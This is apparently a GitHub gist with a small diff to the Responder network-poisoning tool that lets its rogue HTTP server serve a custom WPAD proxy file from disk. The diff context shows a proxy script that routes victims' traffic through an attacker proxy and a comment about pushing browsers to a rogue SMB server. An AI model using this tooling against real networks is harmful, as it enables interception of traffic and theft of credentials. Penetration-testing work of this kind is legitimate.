Skip to content

Instantly share code, notes, and snippets.

@abhisek
Created June 19, 2018 05:45
Show Gist options
  • Save abhisek/7caab00e90ed9542a9554c266f95a4c9 to your computer and use it in GitHub Desktop.
Save abhisek/7caab00e90ed9542a9554c266f95a4c9 to your computer and use it in GitHub Desktop.
Responder patch to serve wpad.dat from file
diff --git a/Responder.conf b/Responder.conf
index 4303df6..0d32158 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -78,6 +78,8 @@ ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
+WPADScriptFile = /tmp/wpad3.dat
+
; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
diff --git a/servers/HTTP.py b/servers/HTTP.py
index 96b3aaf..adde4eb 100644
--- a/servers/HTTP.py
+++ b/servers/HTTP.py
@@ -108,11 +108,21 @@ def GrabReferer(data, host):
def WpadCustom(data, client):
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad:
- Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
+ Buffer = WPADScript(Payload=(WpadCustomFile() or settings.Config.WPAD_Script))
Buffer.calculate()
return str(Buffer)
return False
+def WpadCustomFile():
+ data = None
+ if os.path.isfile(settings.Config.WPAD_Script_File):
+ print text("[HTTP] Serving custom WPAD from file: %s" % (settings.Config.WPAD_Script_File))
+
+ f = open(settings.Config.WPAD_Script_File, 'r')
+ data = f.read()
+ f.close()
+ return data
+
def ServeFile(Filename):
with open (Filename, "rb") as bk:
return bk.read()
diff --git a/settings.py b/settings.py
index 5d8e22a..2bc59ea 100644
--- a/settings.py
+++ b/settings.py
@@ -127,6 +127,7 @@ class Settings:
self.Exe_Filename = config.get('HTTP Server', 'ExeFilename')
self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName')
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
+ self.WPAD_Script_File = config.get('HTTP Server', 'WPADScriptFile')
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
if not os.path.exists(self.Html_Filename):
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment